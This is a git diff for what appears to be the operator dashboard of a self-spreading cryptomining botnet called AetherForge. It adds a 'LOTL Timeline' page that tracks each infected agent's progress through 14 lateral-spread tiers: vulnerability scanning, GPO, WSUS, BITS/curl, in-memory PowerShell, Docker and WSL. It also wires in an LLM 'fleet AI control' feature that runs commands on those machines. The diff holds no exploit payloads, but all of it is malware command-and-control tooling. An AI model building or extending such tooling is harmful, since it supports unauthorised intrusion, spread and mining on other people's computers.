diff --git a/README.md b/README.md index 36366a6..278e8ab 100644 --- a/README.md +++ b/README.md @@ -148,6 +148,7 @@ Enable **USB Propagation** in the Forge. The baked binary: ### Crucible (Command Terminal) +- **[LOTL Timeline](/lotl-timeline)** (`/onion`) — live 14-tier spread progression per agent with fleet progress bars - Select one or many agents (or entire Fleet Groups) as targets - Send raw commands, PowerShell, or preset tactical ops to all selected machines simultaneously - **Gold rain effect** — matrix overlay switches to gold flurry when a single agent is active in the Crucible diff --git a/server/internal/api/router.go b/server/internal/api/router.go index db8afba..4c5312d 100644 --- a/server/internal/api/router.go +++ b/server/internal/api/router.go @@ -491,7 +491,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler { }) } -func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, spreadHandler *SpreadHandler, spreadCredHandler *SpreadCredHandler, deployPlanHandler *DeployPlanHandler, publicHandler *PublicHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, cloudflaredConfigured func() bool, serverVersion ...string) http.Handler { +func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, fleetAIHandler *FleetAIHandler, dropperHandler *DropperHandler, spreadHandler *SpreadHandler, spreadCredHandler *SpreadCredHandler, deployPlanHandler *DeployPlanHandler, publicHandler *PublicHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, cloudflaredConfigured func() bool, serverVersion ...string) http.Handler { ensureUsersLoaded(dataDir) version := "AetherForge" @@ -584,6 +584,12 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler r.Put("/fleet/policy", fleetHandler.PutFleetPolicy) r.Post("/fleet/modules/push", fleetHandler.PostFleetModulePush) } + if fleetAIHandler != nil { + r.Get("/ai/models", fleetAIHandler.GetModels) + r.Get("/ai/config", fleetAIHandler.GetConfig) + r.Put("/ai/config", fleetAIHandler.PutConfig) + r.Get("/ai/decisions", fleetAIHandler.GetDecisions) + } moduleStore := NewModuleStore(dataDir, func() string { fleetSecretForAgentPathsMu.RLock() diff --git a/server/web/src/App.tsx b/server/web/src/App.tsx index d5d428f..f19e1fb 100644 --- a/server/web/src/App.tsx +++ b/server/web/src/App.tsx @@ -21,6 +21,7 @@ const BuildManagerPage = lazy(() => import('./pages/BuildManagerPage')); const SettingsPage = lazy(() => import('./pages/SettingsPage')); const PathTracerPage = lazy(() => import('./pages/PathTracerPage')); const EmberwakePage = lazy(() => import('./pages/EmberwakePage')); +const LotlTimelinePage = lazy(() => import('./pages/LotlTimelinePage')); export function PageFallback() { return ( @@ -59,6 +60,8 @@ function App() { } /> } /> } /> + } /> + } /> diff --git a/server/web/src/api/client.ts b/server/web/src/api/client.ts index 1fd1cff..4d13b14 100644 --- a/server/web/src/api/client.ts +++ b/server/web/src/api/client.ts @@ -1,4 +1,4 @@ -import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop, ServiceGraphHost, PublicBuildsResponse, CampaignHitSummary, EmberwakeNotes } from '../types'; +import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, AIDecisionRecord, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop, ServiceGraphHost, PublicBuildsResponse, CampaignHitSummary, EmberwakeNotes } from '../types'; import { authHeaders, clearStoredAuth } from './auth'; import { BACKUP_DOWNLOAD_TIMEOUT_MS, DOWNLOAD_TIMEOUT_MS, fetchAuthedWithTimeout } from './download'; @@ -224,6 +224,16 @@ export const api = { }), getPoolStatus: () => fetchJSON('/pools/status'), getAIActivity: () => fetchJSON('/ai/activity'), + getAIDecisions: (agentId?: string, limit = 50) => { + const params = new URLSearchParams(); + if (agentId?.trim()) params.set('agent_id', agentId.trim()); + params.set('limit', String(limit)); + return fetchJSON(`/ai/decisions?${params}`); + }, + getAIModels: (endpoint: string) => + fetchJSON<{ models: string[]; endpoint?: string; error?: string }>( + `/ai/models?endpoint=${encodeURIComponent(endpoint)}`, + ), getEarningsEstimate: (hashrate: number) => fetchJSON(`/earnings/estimate?hashrate=${encodeURIComponent(hashrate)}`), sendAgentCommand: ( diff --git a/server/web/src/components/Layout/Layout.tsx b/server/web/src/components/Layout/Layout.tsx index 5ff0640..8beff9e 100644 --- a/server/web/src/components/Layout/Layout.tsx +++ b/server/web/src/components/Layout/Layout.tsx @@ -35,12 +35,14 @@ function operatorDeckId(pathname: string): string { if (path.startsWith('/builds')) return 'builds'; if (path.startsWith('/settings')) return 'settings'; if (path.startsWith('/pathtracer')) return 'pathtracer'; + if (path.startsWith('/lotl-timeline') || path.startsWith('/onion')) return 'lotl-timeline'; return 'dashboard'; } const NAV = [ { to: '/dashboard', label: 'Command Deck', icon: 'deck' }, { to: '/crucible', label: 'Crucible', icon: 'crucible' }, + { to: '/lotl-timeline', label: 'Onion', icon: 'onion' }, { to: '/pathtracer', label: 'Path Tracer', icon: 'trace' }, { to: '/forge', label: 'Forge', icon: 'forge' }, { to: '/mission-deck', label: 'Mission Deck', icon: 'mission', glow: true }, @@ -103,6 +105,14 @@ function NavIcon({ type }: { type: string }) { ); + case 'onion': + return ( + + + + + + ); case 'ember': return ( diff --git a/server/web/src/components/Lotl/LotlFleetOverview.tsx b/server/web/src/components/Lotl/LotlFleetOverview.tsx new file mode 100644 index 0000000..89d9d39 --- /dev/null +++ b/server/web/src/components/Lotl/LotlFleetOverview.tsx @@ -0,0 +1,46 @@ +import type { Agent } from '../../types'; +import { buildLotlTimelineModel, lotlTimelineProgressLabel } from '../../help/lotlTimeline'; +import type { TierAttempt } from '../../types/lotl'; +import './LotlTimeline.css'; + +interface Props { + agents: Agent[]; + selectedId?: string; + tierOrder: string[]; + onSelect: (agentId: string) => void; +} + +function agentAttempts(agent: Agent): TierAttempt[] { + return agent.lotl_attempts ?? []; +} + +export default function LotlFleetOverview({ agents, selectedId, tierOrder, onSelect }: Props) { + const online = agents.filter((a) => a.status === 'online'); + if (online.length === 0) return null; + + return ( +
+
FLEET ONION PROGRESS
+ {online.map((agent) => { + const model = buildLotlTimelineModel(agent, tierOrder, agentAttempts(agent)); + const pct = model.total > 0 ? Math.round((model.succeeded / model.total) * 100) : 0; + const selected = agent.id === selectedId; + return ( + + ); + })} +
+ ); +} diff --git a/server/web/src/components/Lotl/LotlTierTimeline.test.tsx b/server/web/src/components/Lotl/LotlTierTimeline.test.tsx new file mode 100644 index 0000000..5a8218c --- /dev/null +++ b/server/web/src/components/Lotl/LotlTierTimeline.test.tsx @@ -0,0 +1,58 @@ +/** + * @vitest-environment happy-dom + */ +import { afterEach, describe, expect, it } from 'vitest'; +import { cleanup, render, screen, fireEvent } from '@testing-library/react'; +import LotlTierTimeline from './LotlTierTimeline'; +import { buildLotlTimelineModel, resolveLotlTierOrder } from '../../help/lotlTimeline'; +import { mockAgent } from '../../test/fixtures'; + +describe('LotlTierTimeline', () => { + afterEach(() => cleanup()); + + it('renders 14 tiers from fixture attempts', () => { + const order = resolveLotlTierOrder(); + expect(order).toHaveLength(14); + + const agent = mockAgent({ + status: 'online', + lotl_tier: 'wsl', + lotl_attempts: [ + { tier: 'vuln_recon', ok: true, duration_ms: 800, phase: 'recon' }, + { tier: 'docker', ok: false, error: 'no daemon', duration_ms: 1200, phase: 'deploy' }, + { tier: 'wsl', ok: false, error: 'distro missing', duration_ms: 900, phase: 'deploy' }, + ], + }); + + const model = buildLotlTimelineModel(agent, order, agent.lotl_attempts ?? []); + expect(model.tiers).toHaveLength(14); + expect(model.succeeded).toBe(1); + expect(model.tiers[0].state).toBe('success'); + expect(model.tiers[1].state).toBe('failed'); + expect(model.tiers[2].state).toBe('trying'); + + render(); + + expect(screen.getByText('ONION TIER CHAIN')).toBeInTheDocument(); + expect(screen.getByText('1/14 tiers succeeded')).toBeInTheDocument(); + expect(screen.getAllByRole('listitem')).toHaveLength(14); + expect(screen.getByText('Vuln Recon')).toBeInTheDocument(); + expect(screen.getByText('GPO')).toBeInTheDocument(); + }); + + it('expands attempt detail on tier click', () => { + const order = resolveLotlTierOrder(); + const agent = mockAgent({ + lotl_attempts: [ + { tier: 'docker', ok: false, error: 'AV blocked', duration_ms: 500, phase: 'deploy' }, + ], + }); + const model = buildLotlTimelineModel(agent, order, agent.lotl_attempts ?? []); + + render(); + fireEvent.click(screen.getByText('Docker')); + expect(screen.getByText('AV blocked')).toBeInTheDocument(); + expect(screen.getByText('deploy')).toBeInTheDocument(); + expect(screen.getByText('500ms')).toBeInTheDocument(); + }); +}); diff --git a/server/web/src/components/Lotl/LotlTierTimeline.tsx b/server/web/src/components/Lotl/LotlTierTimeline.tsx new file mode 100644 index 0000000..d66b4b1 --- /dev/null +++ b/server/web/src/components/Lotl/LotlTierTimeline.tsx @@ -0,0 +1,109 @@ +import { useMemo, useState } from 'react'; +import type { LotlTimelineModel, LotlTimelineTierRow } from '../../help/lotlTimeline'; +import { formatDurationMs } from '../../types/lotl'; +import './LotlTimeline.css'; +import '../Fleet/LotlVisuals.css'; + +interface Props { + model: LotlTimelineModel; + agentName: string; + className?: string; +} + +function stateGlyph(state: LotlTimelineTierRow['state']): string { + switch (state) { + case 'success': + return '✓'; + case 'failed': + return '✗'; + case 'skipped': + return '—'; + case 'trying': + return '◉'; + default: + return '·'; + } +} + +function TierDetail({ row }: { row: LotlTimelineTierRow }) { + const { attempt } = row; + return ( +
+
{row.label.toUpperCase()}
+ {row.hint &&
{row.hint}
} + {attempt ? ( + <> +
+ + {attempt.ok ? '✓' : '✗'} + + {attempt.ok ? 'Succeeded' : 'Failed'} + {attempt.duration_ms !== undefined && ( + {formatDurationMs(attempt.duration_ms)} + )} + {attempt.phase && {attempt.phase}} +
+ {!attempt.ok && attempt.error && ( +
{attempt.error}
+ )} + + ) : ( +
+ {row.state === 'skipped' ? 'Tier skipped by policy' : 'No attempt recorded yet'} +
+ )} +
+ ); +} + +export default function LotlTierTimeline({ model, agentName, className = '' }: Props) { + const [expandedTier, setExpandedTier] = useState(null); + + const expandedRow = useMemo( + () => model.tiers.find((t) => t.tier === expandedTier), + [model.tiers, expandedTier], + ); + + const toggleTier = (tier: string) => { + setExpandedTier((prev) => (prev === tier ? null : tier)); + }; + + return ( +
+
+
+
ONION TIER CHAIN
+
{agentName}
+
+
+ {model.succeeded}/{model.total} tiers succeeded + {model.tryingTier && ( + + · trying {model.tryingTier.replace(/_/g, ' ')} + + )} +
+
+ +
+ {model.tiers.map((row) => ( + + ))} +
+ + {expandedRow && } +
+ ); +} diff --git a/server/web/src/components/Lotl/LotlTimeline.css b/server/web/src/components/Lotl/LotlTimeline.css new file mode 100644 index 0000000..3740c30 --- /dev/null +++ b/server/web/src/components/Lotl/LotlTimeline.css @@ -0,0 +1,352 @@ +/* LOTL Onion Timeline — ember-accent progression stepper */ + +.lotl-timeline-page { + max-width: 1400px; +} + +.lotl-timeline-page .page-header h1 { + background: linear-gradient(90deg, #e8c872 0%, #ff8c3a 45%, #e85d4a 100%); + -webkit-background-clip: text; + background-clip: text; + color: transparent; + letter-spacing: 0.04em; +} + +.lotl-fleet-overview { + display: flex; + flex-wrap: wrap; + gap: 0.5rem; + margin-bottom: 1.25rem; + padding: 0.65rem 0.75rem; + border-radius: var(--deck-card-radius, 6px); + border: 1px solid rgba(232, 140, 58, 0.22); + background: rgba(8, 6, 4, 0.55); +} + +.lotl-fleet-overview-title { + width: 100%; + font-family: var(--font-tech); + font-size: 0.68rem; + letter-spacing: 0.14em; + color: rgba(232, 180, 100, 0.85); + margin-bottom: 0.15rem; +} + +.lotl-fleet-chip { + display: flex; + flex-direction: column; + gap: 0.25rem; + min-width: 120px; + max-width: 160px; + flex: 1 1 120px; + padding: 0.45rem 0.55rem; + border-radius: 5px; + border: 1px solid rgba(255, 255, 255, 0.06); + background: rgba(0, 0, 0, 0.35); + cursor: pointer; + transition: border-color 0.15s, box-shadow 0.2s; + text-align: left; +} + +.lotl-fleet-chip:hover { + border-color: rgba(255, 140, 58, 0.35); +} + +.lotl-fleet-chip--selected { + border-color: rgba(255, 140, 58, 0.55); + box-shadow: 0 0 12px rgba(232, 93, 74, 0.18); +} + +.lotl-fleet-chip-name { + font-size: 0.72rem; + font-weight: 600; + color: #eee; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; +} + +.lotl-fleet-chip-bar { + height: 4px; + border-radius: 2px; + background: rgba(255, 255, 255, 0.08); + overflow: hidden; +} + +.lotl-fleet-chip-fill { + height: 100%; + border-radius: 2px; + background: linear-gradient(90deg, #c4ad5a, #ff8c3a); + transition: width 0.35s ease; +} + +.lotl-fleet-chip-meta { + font-family: var(--font-tech); + font-size: 0.6rem; + color: var(--text-muted); + letter-spacing: 0.06em; +} + +.lotl-tier-timeline { + padding: 1rem 1.1rem 1.25rem; + border-radius: var(--deck-card-radius, 6px); + border: 1px solid rgba(232, 140, 58, 0.2); + background: linear-gradient(165deg, rgba(14, 10, 8, 0.92) 0%, rgba(6, 5, 8, 0.96) 100%); + box-shadow: 0 8px 32px rgba(0, 0, 0, 0.5), inset 0 1px 0 rgba(255, 180, 80, 0.06); +} + +.lotl-tier-timeline-header { + display: flex; + flex-wrap: wrap; + align-items: baseline; + justify-content: space-between; + gap: 0.5rem; + margin-bottom: 1rem; +} + +.lotl-tier-timeline-title { + font-family: var(--font-tech); + font-size: 0.72rem; + letter-spacing: 0.14em; + color: rgba(232, 180, 100, 0.9); +} + +.lotl-tier-timeline-agent { + font-size: 0.8rem; + color: var(--text-muted); +} + +.lotl-tier-timeline-progress { + font-family: var(--font-tech); + font-size: 0.75rem; + color: #ffaa66; +} + +.lotl-tier-track { + display: flex; + flex-wrap: nowrap; + overflow-x: auto; + gap: 0; + padding: 0.5rem 0 0.75rem; + scrollbar-width: thin; +} + +.lotl-tier-step { + display: flex; + flex-direction: column; + align-items: center; + flex: 1 1 0; + min-width: 72px; + max-width: 96px; + position: relative; + border: none; + background: transparent; + cursor: pointer; + padding: 0.25rem 0.15rem; + color: inherit; + font: inherit; +} + +.lotl-tier-step:not(:last-child)::after { + content: ''; + position: absolute; + top: 14px; + left: calc(50% + 14px); + width: calc(100% - 28px); + height: 2px; + background: rgba(255, 255, 255, 0.08); + z-index: 0; +} + +.lotl-tier-step--success:not(:last-child)::after, +.lotl-tier-step--trying:not(:last-child)::after { + background: linear-gradient(90deg, rgba(255, 140, 58, 0.5), rgba(255, 255, 255, 0.08)); +} + +.lotl-tier-node { + width: 28px; + height: 28px; + border-radius: 50%; + display: flex; + align-items: center; + justify-content: center; + font-family: var(--font-tech); + font-size: 0.62rem; + font-weight: 700; + border: 2px solid rgba(255, 255, 255, 0.12); + background: rgba(0, 0, 0, 0.45); + position: relative; + z-index: 1; + transition: border-color 0.2s, box-shadow 0.25s; +} + +.lotl-tier-step--pending .lotl-tier-node { + color: var(--text-muted); + border-color: rgba(255, 255, 255, 0.1); +} + +.lotl-tier-step--skipped .lotl-tier-node { + color: rgba(180, 180, 190, 0.5); + border-color: rgba(255, 255, 255, 0.06); + opacity: 0.55; +} + +.lotl-tier-step--success .lotl-tier-node { + color: #7dffaa; + border-color: rgba(100, 220, 140, 0.45); + background: rgba(40, 80, 50, 0.35); +} + +.lotl-tier-step--failed .lotl-tier-node { + color: #ff8866; + border-color: rgba(255, 100, 60, 0.45); + background: rgba(80, 30, 20, 0.35); +} + +.lotl-tier-step--trying .lotl-tier-node { + color: #ffb84d; + border-color: rgba(255, 160, 60, 0.7); + background: rgba(60, 35, 15, 0.5); + box-shadow: + 0 0 14px rgba(255, 120, 40, 0.45), + 0 0 28px rgba(232, 93, 74, 0.2); + animation: lotl-tier-pulse 1.8s ease-in-out infinite; +} + +@keyframes lotl-tier-pulse { + 0%, 100% { + box-shadow: + 0 0 10px rgba(255, 120, 40, 0.35), + 0 0 20px rgba(232, 93, 74, 0.15); + } + 50% { + box-shadow: + 0 0 18px rgba(255, 140, 58, 0.55), + 0 0 36px rgba(232, 93, 74, 0.28); + } +} + +.lotl-tier-label { + margin-top: 0.35rem; + font-size: 0.58rem; + text-align: center; + line-height: 1.2; + color: var(--text-muted); + max-width: 100%; + word-break: break-word; +} + +.lotl-tier-step--trying .lotl-tier-label, +.lotl-tier-step--success .lotl-tier-label { + color: rgba(240, 220, 200, 0.9); +} + +.lotl-tier-detail { + margin-top: 0.75rem; + padding: 0.65rem 0.85rem; + border-left: 2px solid rgba(255, 140, 58, 0.4); + background: rgba(0, 0, 0, 0.35); + border-radius: 0 4px 4px 0; + font-family: var(--font-tech); + font-size: 0.74rem; +} + +.lotl-tier-detail-title { + color: #ffb070; + font-weight: 700; + letter-spacing: 0.08em; + font-size: 0.68rem; + margin-bottom: 0.35rem; +} + +.lotl-tier-detail-row { + display: flex; + flex-wrap: wrap; + gap: 0.35rem 0.75rem; + margin-bottom: 0.25rem; + color: #ddd; +} + +.lotl-tier-detail-tag { + font-size: 0.62rem; + padding: 1px 6px; + border-radius: 3px; + background: rgba(255, 140, 58, 0.12); + border: 1px solid rgba(255, 140, 58, 0.25); + color: #ffaa66; + text-transform: uppercase; + letter-spacing: 0.06em; +} + +.lotl-tier-detail-err { + color: #ffaa88; + font-size: 0.68rem; + margin-top: 0.25rem; + word-break: break-word; +} + +.lotl-ai-decision { + margin-top: 0.85rem; + padding: 0.55rem 0.75rem; + border-radius: 4px; + border: 1px solid rgba(0, 232, 245, 0.2); + background: rgba(0, 40, 50, 0.25); + font-size: 0.72rem; +} + +.lotl-ai-decision-label { + font-family: var(--font-tech); + font-size: 0.62rem; + letter-spacing: 0.1em; + color: var(--neon-cyan); + margin-bottom: 0.25rem; +} + +.lotl-timeline-links { + margin-top: 0.85rem; + font-size: 0.72rem; + color: var(--text-muted); +} + +.lotl-timeline-links a { + color: rgba(255, 170, 100, 0.9); + text-decoration: none; +} + +.lotl-timeline-links a:hover { + text-decoration: underline; +} + +.lotl-timeline-empty { + padding: 2rem; + text-align: center; + color: var(--text-muted); + font-size: 0.85rem; +} + +@media (max-width: 720px) { + .lotl-tier-track { + flex-direction: column; + align-items: stretch; + overflow-x: visible; + } + + .lotl-tier-step { + flex-direction: row; + align-items: center; + gap: 0.65rem; + min-width: 100%; + max-width: none; + padding: 0.35rem 0; + } + + .lotl-tier-step:not(:last-child)::after { + display: none; + } + + .lotl-tier-label { + margin-top: 0; + text-align: left; + flex: 1; + } +} diff --git a/server/web/src/components/components.test.tsx b/server/web/src/components/components.test.tsx index b9f4510..f957a1f 100644 --- a/server/web/src/components/components.test.tsx +++ b/server/web/src/components/components.test.tsx @@ -923,5 +923,6 @@ describe('Layout', () => { }); expect(screen.getByRole('link', { name: /Command Deck/i })).toBeInTheDocument(); expect(screen.getByRole('link', { name: /Crucible/i })).toBeInTheDocument(); + expect(screen.getByRole('link', { name: /Onion/i })).toBeInTheDocument(); }); }); diff --git a/server/web/src/help/lotlTimeline.ts b/server/web/src/help/lotlTimeline.ts new file mode 100644 index 0000000..46ac8a3 --- /dev/null +++ b/server/web/src/help/lotlTimeline.ts @@ -0,0 +1,133 @@ +import { DEFAULT_LOTL_ONION_TIERS, LOTL_ONION_TIER_DOCS } from './lotlOnionTiers'; +import type { Agent } from '../types'; +import { formatLotlTierLabel, type TierAttempt } from '../types/lotl'; + +/** Per-tier state for the live onion timeline UI. */ +export type LotlTimelineTierState = 'pending' | 'trying' | 'success' | 'failed' | 'skipped'; + +export interface LotlTimelineTierRow { + index: number; + tier: string; + label: string; + hint: string; + state: LotlTimelineTierState; + attempt?: TierAttempt; +} + +export interface LotlTimelineModel { + tiers: LotlTimelineTierRow[]; + total: number; + succeeded: number; + activeTier?: string; + tryingTier?: string; +} + +/** Map attempt tier ids to spread onion tier ids (case-insensitive). */ +const TIER_ALIASES: Record = { + container: 'docker', + docker_load: 'docker', + vuln_probe: 'vuln_recon', + kev_scan: 'vuln_recon', + service_probe: 'vuln_recon', + ps_memory: 'powershell', + ps_inmemory: 'powershell', + bits: 'bits_curl', + curl: 'bits_curl', + wsus: 'wsus_cache_peer', + wsus_cache: 'wsus_cache_peer', + webrtc: 'webrtc_mesh', + mesh: 'webrtc_mesh', + exe_subprocess: 'powershell', + cpu_inprocess: 'dotnet', + gpu_subprocess: 'dotnet', + stratum_direct: 'dotnet', +}; + +function normalizeTierKey(tier: string): string { + return tier.trim().toLowerCase().replace(/[\s-]+/g, '_'); +} + +function canonicalSpreadTier(tier: string): string { + const key = normalizeTierKey(tier); + return TIER_ALIASES[key] ?? key; +} + +function tierDocHint(tier: string): string { + const key = canonicalSpreadTier(tier) as (typeof DEFAULT_LOTL_ONION_TIERS)[number]; + return LOTL_ONION_TIER_DOCS.find((d) => d.id === key)?.hint ?? ''; +} + +function tierLabel(tier: string): string { + const key = canonicalSpreadTier(tier) as (typeof DEFAULT_LOTL_ONION_TIERS)[number]; + return LOTL_ONION_TIER_DOCS.find((d) => d.id === key)?.label ?? formatLotlTierLabel(tier); +} + +function lastAttemptForTier(attempts: TierAttempt[], spreadTier: string): TierAttempt | undefined { + const target = canonicalSpreadTier(spreadTier); + for (let i = attempts.length - 1; i >= 0; i--) { + if (canonicalSpreadTier(attempts[i].tier) === target) return attempts[i]; + } + return undefined; +} + +export function resolveLotlTierOrder(policyTiers?: string[]): string[] { + if (policyTiers?.length) return [...policyTiers]; + return [...DEFAULT_LOTL_ONION_TIERS]; +} + +export function buildLotlTimelineModel( + agent: Agent, + order: string[], + attempts: TierAttempt[], + skipped: string[] = [], +): LotlTimelineModel { + const skippedSet = new Set(skipped.map((s) => canonicalSpreadTier(s))); + const activeTier = agent.lotl_tier?.trim() || undefined; + const activeCanon = activeTier ? canonicalSpreadTier(activeTier) : undefined; + const online = agent.status === 'online'; + + let tryingTier: string | undefined; + if (online && activeCanon) { + const last = lastAttemptForTier(attempts, activeCanon); + if (!last?.ok) tryingTier = activeCanon; + } + + const tiers: LotlTimelineTierRow[] = order.map((tier, i) => { + const key = canonicalSpreadTier(tier); + const attempt = lastAttemptForTier(attempts, tier); + let state: LotlTimelineTierState = 'pending'; + + if (skippedSet.has(key)) { + state = 'skipped'; + } else if (tryingTier === key || (online && activeCanon === key && !attempt?.ok)) { + state = 'trying'; + } else if (attempt?.ok) { + state = 'success'; + } else if (attempt && !attempt.ok) { + state = 'failed'; + } + + return { + index: i + 1, + tier, + label: tierLabel(tier), + hint: tierDocHint(tier), + state, + attempt, + }; + }); + + const succeeded = tiers.filter((t) => t.state === 'success').length; + + return { + tiers, + total: order.length, + succeeded, + activeTier, + tryingTier, + }; +} + +export function lotlTimelineProgressLabel(model: LotlTimelineModel): string { + return `${model.succeeded}/${model.total}`; +} diff --git a/server/web/src/help/pageWeather.ts b/server/web/src/help/pageWeather.ts index d0f90d5..29659ba 100644 --- a/server/web/src/help/pageWeather.ts +++ b/server/web/src/help/pageWeather.ts @@ -83,6 +83,30 @@ export const PAGE_WEATHER: Record = { gridDrift: 38, palette: 'default', }, + '/lotl-timeline': { + vibe: 'crucible-embers', + intensity: 0.82, + speed: 0.38, + pulse: 0.72, + density: 0.88, + linkStrength: 0.5, + layerOpacity: 0.52, + orbDrift: 18, + gridDrift: 64, + palette: 'crucible', + }, + '/onion': { + vibe: 'crucible-embers', + intensity: 0.82, + speed: 0.38, + pulse: 0.72, + density: 0.88, + linkStrength: 0.5, + layerOpacity: 0.52, + orbDrift: 18, + gridDrift: 64, + palette: 'crucible', + }, '/crucible': { vibe: 'crucible-embers', intensity: 0.75, diff --git a/server/web/src/pages/LotlTimelinePage.tsx b/server/web/src/pages/LotlTimelinePage.tsx new file mode 100644 index 0000000..039ddad --- /dev/null +++ b/server/web/src/pages/LotlTimelinePage.tsx @@ -0,0 +1,162 @@ +import { useCallback, useEffect, useMemo, useState } from 'react'; +import { Link, useSearchParams } from 'react-router-dom'; +import { api } from '../api/client'; +import { useWebSocket } from '../hooks/useWebSocket'; +import { + buildLotlTimelineModel, + resolveLotlTierOrder, +} from '../help/lotlTimeline'; +import { parseAccessDepthServerPolicy } from '../help/accessDepth'; +import type { AIDecisionRecord } from '../types'; +import LotlFleetOverview from '../components/Lotl/LotlFleetOverview'; +import LotlTierTimeline from '../components/Lotl/LotlTierTimeline'; +import { HelpTip } from '../components/HelpTip'; +import '../components/Lotl/LotlTimeline.css'; +import './Pages.css'; + +export default function LotlTimelinePage() { + const { agents } = useWebSocket(); + const [searchParams, setSearchParams] = useSearchParams(); + const [tierOrder, setTierOrder] = useState(() => resolveLotlTierOrder()); + const [aiControlEnabled, setAiControlEnabled] = useState(false); + const [lastDecision, setLastDecision] = useState<{ response?: string; commands?: string; ts?: string } | null>(null); + + const paramAgentId = searchParams.get('agent') ?? ''; + + const onlineAgents = useMemo(() => agents.filter((a) => a.status === 'online'), [agents]); + + const selectedAgent = useMemo(() => { + if (paramAgentId) { + const found = agents.find((a) => a.id === paramAgentId); + if (found) return found; + } + return onlineAgents[0] ?? agents[0] ?? null; + }, [agents, onlineAgents, paramAgentId]); + + useEffect(() => { + api + .getConfig() + .then((cfg) => { + const policy = parseAccessDepthServerPolicy(cfg); + setTierOrder(resolveLotlTierOrder(policy.lotl_onion_tiers)); + setAiControlEnabled(cfg.server?.ai_control_enabled === true); + }) + .catch(() => {}); + }, []); + + useEffect(() => { + if (!selectedAgent || !aiControlEnabled) { + setLastDecision(null); + return; + } + let cancelled = false; + api + .getAIDecisions(selectedAgent.id, 1) + .then((rows: AIDecisionRecord[]) => { + if (cancelled) return; + const row = rows[0]; + if (row) { + setLastDecision({ + response: row.response, + commands: row.commands_executed, + ts: row.ts, + }); + } else { + setLastDecision(null); + } + }) + .catch(() => { + if (!cancelled) setLastDecision(null); + }); + return () => { + cancelled = true; + }; + }, [selectedAgent, aiControlEnabled]); + + const selectAgent = useCallback( + (agentId: string) => { + setSearchParams({ agent: agentId }, { replace: true }); + }, + [setSearchParams], + ); + + const aiEnabled = aiControlEnabled; + + const timelineModel = useMemo(() => { + if (!selectedAgent) return null; + return buildLotlTimelineModel( + selectedAgent, + tierOrder, + selectedAgent.lotl_attempts ?? [], + ); + }, [selectedAgent, tierOrder]); + + return ( +
+
+
+

LOTL Timeline

+

+ Live spread + mining tier progression — triple onion chain{' '} + +

+
+ {selectedAgent && ( + + Open in Crucible + + )} +
+ + + + {!selectedAgent ? ( +
+ No agents in fleet yet. Forge a worker and connect to see tier progression. +
+ ) : timelineModel ? ( + <> + + + {aiEnabled && lastDecision && ( +
+
LAST AI DECISION
+ {lastDecision.response && ( +
{lastDecision.response}
+ )} + {lastDecision.commands && ( +
+ {lastDecision.commands} +
+ )} + {lastDecision.ts && ( +
+ {new Date(lastDecision.ts).toLocaleString()} +
+ )} +
+ )} + +

+ Data sources: Crucible →{' '} + Access Depth panel + {' · '} + Calibrate lotl_onion_tiers + {' · '} + + spread tier wiki + +

+ + ) : null} +
+ ); +} diff --git a/server/web/src/types/index.ts b/server/web/src/types/index.ts index b38ea5f..fb0279c 100644 --- a/server/web/src/types/index.ts +++ b/server/web/src/types/index.ts @@ -297,6 +297,18 @@ export interface ServerSettings { public_builds_latest_n?: number; /** Server-side LOTL Onion tier order pushed to agents with lotl_policy_from_server. */ lotl_onion_tiers?: string[]; + /** Fleet adaptive strategy learns mining tier order from fleet stats (logic-gate mode). */ + adaptive_strategy_enabled?: boolean; + /** When true, Calibrate uses local LLM fleet control instead of logic gates. */ + ai_control_enabled?: boolean; + /** OpenAI-compatible or Ollama base URL on the control PC. */ + ai_local_endpoint?: string; + /** LLM model name for fleet AI control. */ + ai_model?: string; + /** Stateless per-cycle decisions — no conversation memory. */ + ai_no_context?: boolean; + /** Seconds between AI decision cycles per agent. */ + ai_interval_sec?: number; /** Triple onion recon/deploy gates pushed to agents at auth. */ triple_onion_policy?: { patch_first?: boolean; @@ -420,6 +432,16 @@ export interface AIActivityEntry { last_success?: boolean; } +/** Fleet AI Control decision audit row — GET /api/v1/ai/decisions */ +export interface AIDecisionRecord { + id: number; + agent_id: string; + prompt_hash?: string; + response?: string; + commands_executed?: string; + ts?: string; +} + export interface EarningsEstimate { hashrate: number; xmr_per_day: number;